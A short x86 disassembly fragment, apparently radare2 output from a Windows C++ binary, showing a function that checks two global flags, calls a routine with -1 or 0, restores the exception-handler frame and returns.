call fcn.0040dae0
add esp, 0xc
call fcn.00418730
add esp, 4
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.004023e0
cmp dword [0x608b98], 0
jne 0x4379fc
cmp dword [0x608b9c], 0
je 0x437a05
push 0xffffffffffffffff
call fcn.00437060
jmp 0x437a0c
push 0
call fcn.00437060
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004023e0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret